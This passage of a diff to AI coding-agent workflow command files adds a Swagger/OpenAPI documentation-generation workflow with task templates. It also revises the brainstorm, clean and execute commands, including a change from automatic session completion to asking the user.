+**Grouping Strategy**:
+1. Group by business module (users, orders, products, etc.)
+2. Maximum 10 endpoints per task
+3. Large modules (>10 endpoints) split by submodules
+
+**Commands**:
+
+```bash
+# 1. Count endpoints by module
+bash(cat ${session_dir}/.process/swagger-planning-data.json | jq '.statistics.by_module')
+
+# 2. Calculate task groupings
+bash(cat ${session_dir}/.process/swagger-planning-data.json | jq -r '.api_structure.modules[] | "\(.name):\(.endpoints | length)"')
+```
+
+**Data Processing**: Use **Edit tool** to update `swagger-planning-data.json` with task groups:
+
+```json
+{
+  "task_groups": {
+    "level1_count": 3,
+    "level2_count": 5,
+    "total_count": 12,
+    "assignments": [
+      {"task_id": "IMPL-001", "level": 1, "type": "openapi-spec", "title": "Generate OpenAPI main spec file"},
+      {"task_id": "IMPL-002", "level": 1, "type": "security", "title": "Generate global security config"},
+      {"task_id": "IMPL-003", "level": 1, "type": "error-codes", "title": "Generate error code specification"},
+      {"task_id": "IMPL-004", "level": 2, "type": "module-doc", "module": "users", "endpoint_count": 12},
+      {"task_id": "IMPL-005", "level": 2, "type": "module-doc", "module": "auth", "endpoint_count": 8}
+    ]
+  }
+}
+```
+
+### Phase 5: Generate Task JSONs
+
+**Generation Process**:
+1. Read configuration values from workflow-session.json
+2. Read task groups from swagger-planning-data.json
+3. Generate Level 1 tasks (infrastructure)
+4. Generate Level 2 tasks (by module)
+5. Generate Level 3-4 tasks (aggregation and validation)
+
+## Task Templates
+
+### Level 1-1: OpenAPI Main Spec File
+
+```json
+{
+  "id": "IMPL-001",
+  "title": "Generate OpenAPI main specification file",
+  "status": "pending",
+  "meta": {
+    "type": "swagger-openapi-spec",
+    "agent": "@doc-generator",
+    "tool": "gemini",
+    "priority": "critical"
+  },
+  "context": {
+    "requirements": [
+      "Generate OpenAPI 3.0.3 compliant swagger.yaml",
+      "Include complete info, servers, tags, paths, components definitions",
+      "Follow RESTful design standards, use {lang} for descriptions"
+    ],
+    "precomputed_data": {
+      "planning_data": "${session_dir}/.process/swagger-planning-data.json"
+    }
+  },
+  "flow_control": {
+    "pre_analysis": [
+      {
+        "step": "load_analysis_data",
+        "action": "Load API analysis data",
+        "commands": [
+          "bash(cat ${session_dir}/.process/swagger-planning-data.json)"
+        ],
+        "output_to": "api_analysis"
+      }
+    ],
+    "implementation_approach": [
+      {
+        "step": 1,
+        "title": "Generate OpenAPI spec file",
+        "description": "Create complete swagger.yaml specification file",
+        "cli_prompt": "PURPOSE: Generate OpenAPI 3.0.3 specification file from analyzed API structure\nTASK:\n• Define openapi version: 3.0.3\n• Define info: title, description, version, contact, license\n• Define servers: development, staging, production environments\n• Define tags: organized by business modules\n• Define paths: all API endpoints with complete specifications\n• Define components: schemas, securitySchemes, parameters, responses\nMODE: write\nCONTEXT: @[api_analysis]\nEXPECTED: Complete swagger.yaml file following OpenAPI 3.0.3 specification\nRULES: $(cat ~/.claude/workflows/cli-templates/protocols/write-protocol.md) $(cat ~/.claude/workflows/cli-templates/prompts/documentation/swagger-api.txt) | Use {lang} for all descriptions | Strict RESTful standards",
+        "output": "swagger.yaml"
+      }
+    ],
+    "target_files": [
+      ".workflow/docs/${project_name}/api/swagger.yaml"
+    ]
+  }
+}
+```
+
+### Level 1-2: Global Security Configuration
+
+```json
+{
+  "id": "IMPL-002",
+  "title": "Generate global security configuration and authentication guide",
+  "status": "pending",
+  "meta": {
+    "type": "swagger-security",
+    "agent": "@doc-generator",
+    "tool": "gemini"
+  },
+  "context": {
+    "requirements": [
+      "Document Authorization header format in detail",
+      "Describe token acquisition, refresh, and expiration mechanisms",
+      "List permission requirements for each endpoint"
+    ]
+  },
+  "flow_control": {
+    "pre_analysis": [
+      {
+        "step": "analyze_auth",
+        "command": "bash(rg -n 'auth|guard|jwt|bearer' -i --type ts -g '!*.test.*' 2>/dev/null | head -50)",
+        "output_to": "auth_patterns"
+      }
+    ],
+    "implementation_approach": [
+      {
+        "step": 1,
+        "title": "Generate authentication documentation",
+        "cli_prompt": "PURPOSE: Generate comprehensive authentication documentation for API security\nTASK:\n• Document authentication mechanism: JWT Bearer Token\n• Explain header format: Authorization: Bearer <token>\n• Describe token lifecycle: acquisition, refresh, expiration handling\n• Define permission levels: public, user, admin, super_admin\n• Document authentication failure responses: 401/403 error handling\nMODE: write\nCONTEXT: @[auth_patterns] @src/**/auth/**/* @src/**/guard/**/*\nEXPECTED: Complete authentication guide in {lang}\nRULES: $(cat ~/.claude/workflows/cli-templates/protocols/write-protocol.md) | Include code examples | Clear step-by-step instructions",
+        "output": "{auth_doc_name}"
+      }
+    ],
+    "target_files": [
+      ".workflow/docs/${project_name}/api/{overview_dir}/{auth_doc_name}"
+    ]
+  }
+}
+```
+
+### Level 1-3: Unified Error Code Specification
+
+```json
+{
+  "id": "IMPL-003",
+  "title": "Generate unified error code specification",
+  "status": "pending",
+  "meta": {
+    "type": "swagger-error-codes",
+    "agent": "@doc-generator",
+    "tool": "gemini"
+  },
+  "context": {
+    "requirements": [
+      "Define unified error response format",
+      "Create categorized error code system (auth, business, system)",
+      "Provide detailed description and examples for each error code"
+    ]
+  },
+  "flow_control": {
+    "implementation_approach": [
+      {
+        "step": 1,
+        "title": "Generate error code specification document",
+        "cli_prompt": "PURPOSE: Generate comprehensive error code specification for consistent API error handling\nTASK:\n• Define error response format: {code, message, details, timestamp}\n• Document authentication errors (AUTH_xxx): 401/403 series\n• Document parameter errors (PARAM_xxx): 400 series\n• Document business errors (BIZ_xxx): business logic errors\n• Document system errors (SYS_xxx): 500 series\n• For each error code: HTTP status, error message, possible causes, resolution suggestions\nMODE: write\nCONTEXT: @src/**/*.exception.ts @src/**/*.filter.ts\nEXPECTED: Complete error code specification in {lang} with tables and examples\nRULES: $(cat ~/.claude/workflows/cli-templates/protocols/write-protocol.md) | Include response examples | Clear categorization",
+        "output": "{error_doc_name}"
+      }
+    ],
+    "target_files": [
+      ".workflow/docs/${project_name}/api/{overview_dir}/{error_doc_name}"
+    ]
+  }
+}
+```
+
+### Level 2: Module API Documentation (Template)
+
+```json
+{
+  "id": "IMPL-${module_task_id}",
+  "title": "Generate ${module_name} API documentation",
+  "status": "pending",
+  "depends_on": ["IMPL-001", "IMPL-002", "IMPL-003"],
+  "meta": {
+    "type": "swagger-module-doc",
+    "agent": "@doc-generator",
+    "tool": "gemini",
+    "module": "${module_name}",
+    "endpoint_count": "${endpoint_count}"
+  },
+  "context": {
+    "requirements": [
+      "Complete documentation for all endpoints in this module",
+      "Each endpoint: description, method, URL, parameters, responses",
+      "Include success and failure response examples",
+      "Mark API version and last update time"
+    ],
+    "focus_paths": ["${module_source_paths}"]
+  },
+  "flow_control": {
+    "pre_analysis": [
+      {
+        "step": "load_module_endpoints",
+        "action": "Load module endpoint information",
+        "commands": [
+          "bash(cat ${session_dir}/.process/swagger-planning-data.json | jq '.api_structure.modules[] | select(.name == \"${module_name}\")')"
+        ],
+        "output_to": "module_endpoints"
+      },
+      {
+        "step": "read_source_files",
+        "action": "Read module source files",
+        "commands": [
+          "bash(cat ${module_source_files})"
+        ],
+        "output_to": "source_code"
+      }
+    ],
+    "implementation_approach": [
+      {
+        "step": 1,
+        "title": "Generate module API documentation",
+        "description": "Generate complete API documentation for ${module_name}",
+        "cli_prompt": "PURPOSE: Generate complete RESTful API documentation for ${module_name} module\nTASK:\n• Create module overview: purpose, use cases, prerequisites\n• Generate endpoint index: grouped by functionality\n• For each endpoint document:\n  - Functional description: purpose and business context\n  - Request method: GET/POST/PUT/DELETE\n  - URL path: complete API path\n  - Request headers: Authorization and other required headers\n  - Path parameters: {id} and other path variables\n  - Query parameters: pagination, filters, etc.\n  - Request body: JSON Schema format\n  - Response body: success and error responses\n  - Field description table: type, required, example, description\n• Add usage examples: cURL, JavaScript, Python\n• Add version info: v1.0.0, last updated date\nMODE: write\nCONTEXT: @[module_endpoints] @[source_code]\nEXPECTED: Complete module API documentation in {lang} with all endpoints fully documented\nRULES: $(cat ~/.claude/workflows/cli-templates/protocols/write-protocol.md) $(cat ~/.claude/workflows/cli-templates/prompts/documentation/swagger-api.txt) | RESTful standards | Include all response codes",
+        "output": "${module_doc_name}"
+      }
+    ],
+    "target_files": [
+      ".workflow/docs/${project_name}/api/${module_dir}/${module_doc_name}"
+    ]
+  }
+}
+```
+
+### Level 3: API Overview and Navigation
+
+```json
+{
+  "id": "IMPL-${overview_task_id}",
+  "title": "Generate API overview and navigation",
+  "status": "pending",
+  "depends_on": ["IMPL-001", "...", "IMPL-${last_module_task_id}"],
+  "meta": {
+    "type": "swagger-overview",
+    "agent": "@doc-generator",
+    "tool": "gemini"
+  },
+  "flow_control": {
+    "pre_analysis": [
+      {
+        "step": "load_all_docs",
+        "command": "bash(find .workflow/docs/${project_name}/api -type f -name '*.md' ! -path '*/{overview_dir}/*' | xargs cat)",
+        "output_to": "all_module_docs"
+      }
+    ],
+    "implementation_approach": [
+      {
+        "step": 1,
+        "title": "Generate API overview",
+        "cli_prompt": "PURPOSE: Generate API overview document with navigation and quick start guide\nTASK:\n• Create introduction: system features, tech stack, version\n• Write quick start guide: authentication, first request example\n• Build module navigation: categorized links to all modules\n• Document environment configuration: development, staging, production\n• List SDKs and tools: client libraries, Postman collection\nMODE: write\nCONTEXT: @[all_module_docs] @.workflow/docs/${project_name}/api/swagger.yaml\nEXPECTED: Complete API overview in {lang} with navigation links\nRULES: $(cat ~/.claude/workflows/cli-templates/protocols/write-protocol.md) | Clear structure | Quick start focus",
+        "output": "README.md"
+      }
+    ],
+    "target_files": [
+      ".workflow/docs/${project_name}/api/{overview_dir}/README.md"
+    ]
+  }
+}
+```
+
+### Level 4: Validation Tasks
+
+```json
+{
+  "id": "IMPL-${test_task_id}",
+  "title": "API endpoint validation tests",
+  "status": "pending",
+  "depends_on": ["IMPL-${overview_task_id}"],
+  "meta": {
+    "type": "swagger-validation",
+    "agent": "@test-fix-agent",
+    "tool": "codex"
+  },
+  "context": {
+    "requirements": [
+      "Validate accessibility of all endpoints",
+      "Test various boundary conditions",
+      "Verify exception handling"
+    ]
+  },
+  "flow_control": {
+    "pre_analysis": [
+      {
+        "step": "load_swagger_spec",
+        "command": "bash(cat .workflow/docs/${project_name}/api/swagger.yaml)",
+        "output_to": "swagger_spec"
+      }
+    ],
+    "implementation_approach": [
+      {
+        "step": 1,
+        "title": "Generate test report",
+        "cli_prompt": "PURPOSE: Generate comprehensive API test validation report\nTASK:\n• Document test environment configuration\n• Calculate endpoint coverage statistics\n• Report test results: pass/fail counts\n• Document boundary tests: parameter limits, null values, special characters\n• Document exception tests: auth failures, permission denied, resource not found\n• List issues found with recommendations\nMODE: write\nCONTEXT: @[swagger_spec]\nEXPECTED: Complete test report in {lang} with detailed results\nRULES: $(cat ~/.claude/workflows/cli-templates/protocols/write-protocol.md) | Include test cases | Clear pass/fail status",
+        "output": "{test_doc_name}"
+      }
+    ],
+    "target_files": [
+      ".workflow/docs/${project_name}/api/{test_dir}/{test_doc_name}"
+    ]
+  }
+}
+```
+
+## Language-Specific Directory Mapping
+
+| Component | --lang zh | --lang en |
+|-----------|-----------|-----------|
+| Overview dir | 概述 | overview |
+| Auth doc | 认证说明.md | authentication.md |
+| Error doc | 错误码规范.md | error-codes.md |
+| Changelog | 版本历史.md | changelog.md |
+| Users module | 用户模块 | users |
+| Orders module | 订单模块 | orders |
+| Products module | 商品模块 | products |
+| Test dir | 测试报告 | test-reports |
+| API test doc | 接口测试.md | api-tests.md |
+| Boundary test doc | 边界测试.md | boundary-tests.md |
+
+## API Documentation Template
+
+### Single Endpoint Format
+
+Each endpoint must include:
+
+```markdown
+### Get User Details
+
+**Description**: Retrieve detailed user information by ID, including profile and permissions.
+
+**Endpoint Info**:
+
+| Property | Value |
+|----------|-------|
+| Method | GET |
+| URL | `/api/v1/users/{id}` |
+| Version | v1.0.0 |
+| Updated | 2025-01-01 |
+| Auth | Bearer Token |
+| Permission | user / admin |
+
+**Request Headers**:
+
+| Field | Type | Required | Example | Description |
+|-------|------|----------|---------|-------------|
+| Authorization | string | Yes | `Bearer eyJhbGc...` | JWT Token |
+| Content-Type | string | No | `application/json` | Request content type |
+
+**Path Parameters**:
+
+| Field | Type | Required | Example | Description |
+|-------|------|----------|---------|-------------|
+| id | string | Yes | `usr_123456` | Unique user identifier |
+
+**Query Parameters**:
+
+| Field | Type | Required | Default | Example | Description |
+|-------|------|----------|---------|---------|-------------|
+| include | string | No | - | `roles,permissions` | Related data to include |
+
+**Success Response** (200 OK):
+
+```json
+{
+  "code": 0,
+  "message": "success",
+  "data": {
+    "id": "usr_123456",
+    "email": "user@example.com",
+    "name": "John Doe",
+    "status": "active",
+    "roles": ["user"],
+    "created_at": "2025-01-01T00:00:00Z",
+    "updated_at": "2025-01-01T00:00:00Z"
+  },
+  "timestamp": "2025-01-01T12:00:00Z"
+}
+```
+
+**Response Fields**:
+
+| Field | Type | Description |
+|-------|------|-------------|
+| code | integer | Business status code, 0 = success |
+| message | string | Response message |
+| data.id | string | Unique user identifier |
+| data.email | string | User email address |
+| data.name | string | User display name |
+| data.status | string | User status: active/inactive/suspended |
+| data.roles | array | User role list |
+| data.created_at | string | Creation timestamp (ISO 8601) |
+| data.updated_at | string | Last update timestamp (ISO 8601) |
+
+**Error Responses**:
+
+| Status | Code | Message | Possible Cause |
+|--------|------|---------|----------------|
+| 401 | AUTH_001 | Invalid or expired token | Token format error or expired |
+| 403 | AUTH_003 | Insufficient permissions | No access to this user info |
+| 404 | USER_001 | User not found | User ID doesn't exist or deleted |
+
+**Examples**:
+
+```bash
+# cURL
+curl -X GET "https://api.example.com/api/v1/users/usr_123456" \
+  -H "Authorization: Bearer eyJhbGc..." \
+  -H "Content-Type: application/json"
+```
+
+```javascript
+// JavaScript (fetch)
+const response = await fetch('https://api.example.com/api/v1/users/usr_123456', {
+  method: 'GET',
+  headers: {
+    'Authorization': 'Bearer eyJhbGc...',
+    'Content-Type': 'application/json'
+  }
+});
+const data = await response.json();
+```
+```
+
+## Session Structure
+
+```
+.workflow/active/
+└── WFS-swagger-{timestamp}/
+    ├── workflow-session.json
+    ├── IMPL_PLAN.md
+    ├── TODO_LIST.md
+    ├── .process/
+    │   └── swagger-planning-data.json
+    └── .task/
+        ├── IMPL-001.json              # OpenAPI spec
+        ├── IMPL-002.json              # Security config
+        ├── IMPL-003.json              # Error codes
+        ├── IMPL-004.json              # Module 1 API
+        ├── ...
+        ├── IMPL-N+1.json              # API overview
+        └── IMPL-N+2.json              # Validation tests
+```
+
+## Execution Commands
+
+```bash
+# Execute entire workflow
+/workflow:execute
+
+# Specify session
+/workflow:execute --resume-session="WFS-swagger-yyyymmdd-hhmmss"
+
+# Single task execution
+/task:execute IMPL-001
+```
+
+## Related Commands
+
+- `/workflow:execute` - Execute documentation tasks
+- `/workflow:status` - View task progress
+- `/workflow:session:complete` - Mark session complete
+- `/memory:docs` - General documentation workflow

.claude/commands/workflow/brainstorm/auto-parallel.md

@@ -9,11 +9,11 @@ allowed-tools: SlashCommand(*), Task(*), TodoWrite(*), Read(*), Write(*), Bash(*
 
 ## Coordinator Role
 
-**This command is a pure orchestrator**: Dispatches 3 phases in sequence (interactive framework → parallel role analysis → synthesis), coordinating specialized commands/agents through task attachment model.
+**This command is a pure orchestrator**: Executes 3 phases in sequence (interactive framework → parallel role analysis → synthesis), coordinating specialized commands/agents through task attachment model.
 
 **Task Attachment Model**:
-- SlashCommand dispatch **expands workflow** by attaching sub-tasks to current TodoWrite
-- Task agent dispatch **attaches analysis tasks** to orchestrator's TodoWrite
+- SlashCommand execute **expands workflow** by attaching sub-tasks to current TodoWrite
+- Task agent execute **attaches analysis tasks** to orchestrator's TodoWrite
 - Phase 1: artifacts command attaches its internal tasks (Phase 1-5)
 - Phase 2: N conceptual-planning-agent tasks attached in parallel
 - Phase 3: synthesis command attaches its internal tasks
@@ -26,9 +26,9 @@ allowed-tools: SlashCommand(*), Task(*), TodoWrite(*), Read(*), Write(*), Bash(*
 This workflow runs **fully autonomously** once triggered. Phase 1 (artifacts) handles user interaction, Phase 2 (role agents) runs in parallel.
 
 1. **User triggers**: `/workflow:brainstorm:auto-parallel "topic" [--count N]`
-2. **Dispatch Phase 1** → artifacts command (tasks ATTACHED) → Auto-continues
-3. **Dispatch Phase 2** → Parallel role agents (N tasks ATTACHED concurrently) → Auto-continues
-4. **Dispatch Phase 3** → Synthesis command (tasks ATTACHED) → Reports final summary
+2. **Execute Phase 1** → artifacts command (tasks ATTACHED) → Auto-continues
+3. **Execute Phase 2** → Parallel role agents (N tasks ATTACHED concurrently) → Auto-continues
+4. **Execute Phase 3** → Synthesis command (tasks ATTACHED) → Reports final summary
 
 **Auto-Continue Mechanism**:
 - TodoList tracks current phase status and dynamically manages task attachment/collapse
@@ -38,13 +38,13 @@ This workflow runs **fully autonomously** once triggered. Phase 1 (artifacts) ha
 
 ## Core Rules
 
-1. **Start Immediately**: First action is TodoWrite initialization, second action is dispatch Phase 1 command
+1. **Start Immediately**: First action is TodoWrite initialization, second action is execute Phase 1 command
 2. **No Preliminary Analysis**: Do not analyze topic before Phase 1 - artifacts handles all analysis
 3. **Parse Every Output**: Extract selected_roles from workflow-session.json after Phase 1
-4. **Auto-Continue via TodoList**: Check TodoList status to dispatch next pending phase automatically
+4. **Auto-Continue via TodoList**: Check TodoList status to execute next pending phase automatically
 5. **Track Progress**: Update TodoWrite dynamically with task attachment/collapse pattern
-6. **Task Attachment Model**: SlashCommand and Task dispatches **attach** sub-tasks to current workflow. Orchestrator **executes** these attached tasks itself, then **collapses** them after completion
-7. **⚠️ CRITICAL: DO NOT STOP**: Continuous multi-phase workflow. After executing all attached tasks, immediately collapse them and dispatch next phase
+6. **Task Attachment Model**: SlashCommand and Task executes **attach** sub-tasks to current workflow. Orchestrator **executes** these attached tasks itself, then **collapses** them after completion
+7. **⚠️ CRITICAL: DO NOT STOP**: Continuous multi-phase workflow. After executing all attached tasks, immediately collapse them and execute next phase
 8. **Parallel Execution**: Phase 2 attaches multiple agent tasks simultaneously for concurrent execution
 
 ## Usage
@@ -67,7 +67,7 @@ This workflow runs **fully autonomously** once triggered. Phase 1 (artifacts) ha
 
 ### Phase 1: Interactive Framework Generation
 
-**Step 1: Dispatch** - Interactive framework generation via artifacts command
+**Step 1: Execute** - Interactive framework generation via artifacts command
 
 ```javascript
 SlashCommand(command="/workflow:brainstorm:artifacts \"{topic}\" --count {N}")
@@ -91,7 +91,7 @@ SlashCommand(command="/workflow:brainstorm:artifacts \"{topic}\" --count {N}")
 - workflow-session.json contains selected_roles[] (metadata only, no content duplication)
 - Session directory `.workflow/active/WFS-{topic}/.brainstorming/` exists
 
-**TodoWrite Update (Phase 1 SlashCommand dispatched - tasks attached)**:
+**TodoWrite Update (Phase 1 SlashCommand executed - tasks attached)**:
 ```json
 [
   {"content": "Phase 0: Parameter Parsing", "status": "completed", "activeForm": "Parsing count parameter"},
@@ -106,7 +106,7 @@ SlashCommand(command="/workflow:brainstorm:artifacts \"{topic}\" --count {N}")
 ]
 ```
 
-**Note**: SlashCommand dispatch **attaches** artifacts' 5 internal tasks. Orchestrator **executes** these tasks sequentially.
+**Note**: SlashCommand execute **attaches** artifacts' 5 internal tasks. Orchestrator **executes** these tasks sequentially.
 
 **Next Action**: Tasks attached → **Execute Phase 1.1-1.5** sequentially
 
@@ -167,7 +167,7 @@ TOPIC: {user-provided-topic}
 "
 ```
 
-**Parallel Dispatch**:
+**Parallel Execute**:
 - Launch N agents simultaneously (one message with multiple Task calls)
 - Each agent task **attached** to orchestrator's TodoWrite
 - All agents execute concurrently, each attaching their own analysis sub-tasks
@@ -185,7 +185,7 @@ TOPIC: {user-provided-topic}
 - **FORBIDDEN**: `recommendations.md` or any non-`analysis` prefixed files
 - All N role analyses completed
 
-**TodoWrite Update (Phase 2 agents dispatched - tasks attached in parallel)**:
+**TodoWrite Update (Phase 2 agents executed - tasks attached in parallel)**:
 ```json
 [
   {"content": "Phase 0: Parameter Parsing", "status": "completed", "activeForm": "Parsing count parameter"},
@@ -198,7 +198,7 @@ TOPIC: {user-provided-topic}
 ]
 ```
 
-**Note**: Multiple Task dispatches **attach** N role analysis tasks simultaneously. Orchestrator **executes** these tasks in parallel.
+**Note**: Multiple Task executes **attach** N role analysis tasks simultaneously. Orchestrator **executes** these tasks in parallel.
 
 **Next Action**: Tasks attached → **Execute Phase 2.1-2.N** concurrently
 
@@ -220,7 +220,7 @@ TOPIC: {user-provided-topic}
 
 ### Phase 3: Synthesis Generation
 
-**Step 3: Dispatch** - Synthesis integration via synthesis command
+**Step 3: Execute** - Synthesis integration via synthesis command
 
 ```javascript
 SlashCommand(command="/workflow:brainstorm:synthesis --session {sessionId}")
@@ -238,7 +238,7 @@ SlashCommand(command="/workflow:brainstorm:synthesis --session {sessionId}")
 - `.workflow/active/WFS-{topic}/.brainstorming/synthesis-specification.md` exists
 - Synthesis references all role analyses
 
-**TodoWrite Update (Phase 3 SlashCommand dispatched - tasks attached)**:
+**TodoWrite Update (Phase 3 SlashCommand executed - tasks attached)**:
 ```json
 [
   {"content": "Phase 0: Parameter Parsing", "status": "completed", "activeForm": "Parsing count parameter"},
@@ -251,7 +251,7 @@ SlashCommand(command="/workflow:brainstorm:synthesis --session {sessionId}")
 ]
 ```
 
-**Note**: SlashCommand dispatch **attaches** synthesis' internal tasks. Orchestrator **executes** these tasks sequentially.
+**Note**: SlashCommand execute **attaches** synthesis' internal tasks. Orchestrator **executes** these tasks sequentially.
 
 **Next Action**: Tasks attached → **Execute Phase 3.1-3.3** sequentially
 
@@ -284,7 +284,7 @@ Synthesis: .workflow/active/WFS-{topic}/.brainstorming/synthesis-specification.m
 
 ### Key Principles
 
-1. **Task Attachment** (when SlashCommand/Task dispatched):
+1. **Task Attachment** (when SlashCommand/Task executed):
    - Sub-command's or agent's internal tasks are **attached** to orchestrator's TodoWrite
    - Phase 1: `/workflow:brainstorm:artifacts` attaches 5 internal tasks (Phase 1.1-1.5)
    - Phase 2: Multiple `Task(conceptual-planning-agent)` calls attach N role analysis tasks simultaneously
@@ -305,7 +305,7 @@ Synthesis: .workflow/active/WFS-{topic}/.brainstorming/synthesis-specification.m
    - No user intervention required between phases
    - TodoWrite dynamically reflects current execution state
 
-**Lifecycle Summary**: Initial pending tasks → Phase 1 dispatched (artifacts tasks ATTACHED) → Artifacts sub-tasks executed → Phase 1 completed (tasks COLLAPSED) → Phase 2 dispatched (N role tasks ATTACHED in parallel) → Role analyses executed concurrently → Phase 2 completed (tasks COLLAPSED) → Phase 3 dispatched (synthesis tasks ATTACHED) → Synthesis sub-tasks executed → Phase 3 completed (tasks COLLAPSED) → Workflow complete.
+**Lifecycle Summary**: Initial pending tasks → Phase 1 executed (artifacts tasks ATTACHED) → Artifacts sub-tasks executed → Phase 1 completed (tasks COLLAPSED) → Phase 2 executed (N role tasks ATTACHED in parallel) → Role analyses executed concurrently → Phase 2 completed (tasks COLLAPSED) → Phase 3 executed (synthesis tasks ATTACHED) → Synthesis sub-tasks executed → Phase 3 completed (tasks COLLAPSED) → Workflow complete.
 
 ### Brainstorming Workflow Specific Features
 

.claude/commands/workflow/clean.md

@@ -5,7 +5,7 @@ argument-hint: "[--dry-run] [\"focus area\"]"
 allowed-tools: TodoWrite(*), Task(*), AskUserQuestion(*), Read(*), Glob(*), Bash(*), Write(*)
 ---
 
-# Clean Command (/clean)
+# Clean Command (/workflow:clean)
 
 ## Overview
 
@@ -20,9 +20,9 @@ Intelligent cleanup command that explores the codebase to identify the developme
 ## Usage
 
 ```bash
-/clean                          # Full intelligent cleanup (explore → analyze → confirm → execute)
-/clean --dry-run                # Explore and analyze only, no execution
-/clean "auth module"            # Focus cleanup on specific area
+/workflow:clean                          # Full intelligent cleanup (explore → analyze → confirm → execute)
+/workflow:clean --dry-run                # Explore and analyze only, no execution
+/workflow:clean "auth module"            # Focus cleanup on specific area
 ```
 
 ## Execution Process
@@ -321,7 +321,7 @@ if (flags.includes('--dry-run')) {
 **Dry-run mode**: No changes made.
 Manifest saved to: ${sessionFolder}/cleanup-manifest.json
 
-To execute cleanup: /clean
+To execute cleanup: /workflow:clean
 `)
   return
 }

.claude/commands/workflow/execute.md

@@ -23,7 +23,7 @@ Orchestrates autonomous workflow execution through systematic task discovery, ag
 ## Core Rules
 **Complete entire workflow autonomously without user interruption, using TodoWrite for comprehensive progress tracking.**
 **Execute all discovered pending tasks until workflow completion or blocking dependency.**
-**Auto-complete session when all tasks finished: Call `/workflow:session:complete` upon workflow completion.**
+**User-choice completion: When all tasks finished, ask user to choose review or complete.**
 **ONE AGENT = ONE TASK JSON: Each agent instance executes exactly one task JSON file - never batch multiple tasks into single agent execution.**
 
 ## Core Responsibilities
@@ -33,7 +33,7 @@ Orchestrates autonomous workflow execution through systematic task discovery, ag
 - **Agent Orchestration**: Coordinate specialized agents with complete context
 - **Status Synchronization**: Update task JSON files and workflow state
 - **Autonomous Completion**: Continue execution until all tasks complete or reach blocking state
-- **Session Auto-Complete**: Call `/workflow:session:complete` when all workflow tasks finished
+- **Session User-Choice Completion**: Ask user to choose review or complete when all tasks finished
 
 ## Execution Philosophy
 - **Progress tracking**: Continuous TodoWrite updates throughout entire workflow execution
@@ -76,7 +76,9 @@ Phase 4: Execution Strategy & Task Execution
 Phase 5: Completion
    ├─ Update task statuses in JSON files
    ├─ Generate summaries
-   └─ Auto-call /workflow:session:complete
+   └─ AskUserQuestion: Choose next step
+      ├─ "Enter Review" → /workflow:review
+      └─ "Complete Session" → /workflow:session:complete
 
 Resume Mode (--resume-session):
    ├─ Skip Phase 1 & Phase 2
@@ -117,14 +119,7 @@ Auto-select and continue to Phase 2.
 
 List sessions with metadata and prompt user selection:
 ```bash
-bash(for dir in .workflow/active/WFS-*/; do
-  session=$(basename "$dir")
-  project=$(jq -r '.project // "Unknown"' "$dir/workflow-session.json" 2>/dev/null)
-  total=$(grep -c "^- \[" "$dir/TODO_LIST.md" 2>/dev/null || echo "0")
-  completed=$(grep -c "^- \[x\]" "$dir/TODO_LIST.md" 2>/dev/null || echo "0")
-  [ "$total" -gt 0 ] && progress=$((completed * 100 / total)) || progress=0
-  echo "${session} | ${project} | ${completed}/${total} tasks (${progress}%)"
-done)
+bash(for dir in .workflow/active/WFS-*/; do [ -d "$dir" ] || continue; session=$(basename "$dir"); project=$(jq -r '.project // "Unknown"' "${dir}workflow-session.json" 2>/dev/null || echo "Unknown"); total=$(grep -c '^\- \[' "${dir}TODO_LIST.md" 2>/dev/null || echo 0); completed=$(grep -c '^\- \[x\]' "${dir}TODO_LIST.md" 2>/dev/null || echo 0); if [ "$total" -gt 0 ]; then progress=$((completed * 100 / total)); else progress=0; fi; echo "$session | $project | $completed/$total tasks ($progress%)"; done)
 ```
 
 Use AskUserQuestion to present formatted options (max 4 options shown):
@@ -254,7 +249,31 @@ while (TODO_LIST.md has pending tasks) {
 3. **Update TodoWrite**: Mark current task complete, advance to next
 4. **Synchronize State**: Update session state and workflow status
 5. **Check Workflow Complete**: Verify all tasks are completed
-6. **Auto-Complete Session**: Call `/workflow:session:complete` when all tasks finished
+6. **User Choice**: When all tasks finished, ask user to choose next step:
+
+```javascript
+AskUserQuestion({
+  questions: [{
+    question: "All tasks completed. What would you like to do next?",
+    header: "Next Step",
+    multiSelect: false,
+    options: [
+      {
+        label: "Enter Review",
+        description: "Run specialized review (security/architecture/quality/action-items)"
+      },
+      {
+        label: "Complete Session",
+        description: "Archive session and update manifest"
+      }
+    ]
+  }]
+})
+```
+
+**Based on user selection**:
+- **"Enter Review"**: Execute `/workflow:review`
+- **"Complete Session"**: Execute `/workflow:session:complete`
 
 ## Execution Strategy (IMPL_PLAN-Driven)
 
@@ -330,7 +349,7 @@ blocked → skip until dependencies clear
 - **Continuous Tracking**: Maintain TodoWrite throughout entire workflow execution until completion
 
 **Rule 4: Workflow Completion Check**
-- When all tasks marked `completed`, auto-call `/workflow:session:complete`
+- When all tasks marked `completed`, prompt user to choose review or complete session
 
 ### TodoWrite Tool Usage
 
@@ -388,40 +407,40 @@ TodoWrite({
 **Note**: Orchestrator does NOT execute flow control steps - Agent interprets and executes them autonomously.
 
 ### Agent Prompt Template
-**Dynamic Generation**: Before agent invocation, read task JSON and extract key requirements.
+**Path-Based Invocation**: Pass paths and trigger markers, let agent parse task JSON autonomously.
 
 ```bash
 Task(subagent_type="{meta.agent}",
      run_in_background=false,
-     prompt="Execute task: {task.title}
+     prompt="Implement task {task.id}: {task.title}
 
-     {[FLOW_CONTROL]}
+     [FLOW_CONTROL]
 
-     **Task Objectives** (from task JSON):
-     {task.context.objective}
-
-     **Expected Deliverables** (from task JSON):
-     {task.context.deliverables}
-
-     **Quality Standards** (from task JSON):
-     {task.context.acceptance_criteria}
-
-     **MANDATORY FIRST STEPS**:
-     1. Read complete task JSON: {session.task_json_path}
-     2. Load context package: {session.context_package_path}
-
-     Follow complete execution guidelines in @.claude/agents/{meta.agent}.md
-
-     **Session Paths**:
-     - Workflow Dir: {session.workflow_dir}
-     - TODO List: {session.todo_list_path}
-     - Summaries Dir: {session.summaries_dir}
+     **Input**:
+     - Task JSON: {session.task_json_path}
      - Context Package: {session.context_package_path}
 
-     **Success Criteria**: Complete all objectives, meet all quality standards, deliver all outputs as specified above.",
-     description="Executing: {task.title}")
+     **Output Location**:
+     - Workflow: {session.workflow_dir}
+     - TODO List: {session.todo_list_path}
+     - Summaries: {session.summaries_dir}
+
+     **Execution**: Read task JSON → Parse flow_control → Execute implementation_approach → Update TODO_LIST.md → Generate summary",
+     description="Implement: {task.id}")
 ```
 
+**Key Markers**:
+- `Implement` keyword: Triggers tech stack detection and guidelines loading
+- `[FLOW_CONTROL]`: Triggers flow_control.pre_analysis execution
+
+**Why Path-Based**: Agent (code-developer.md) autonomously:
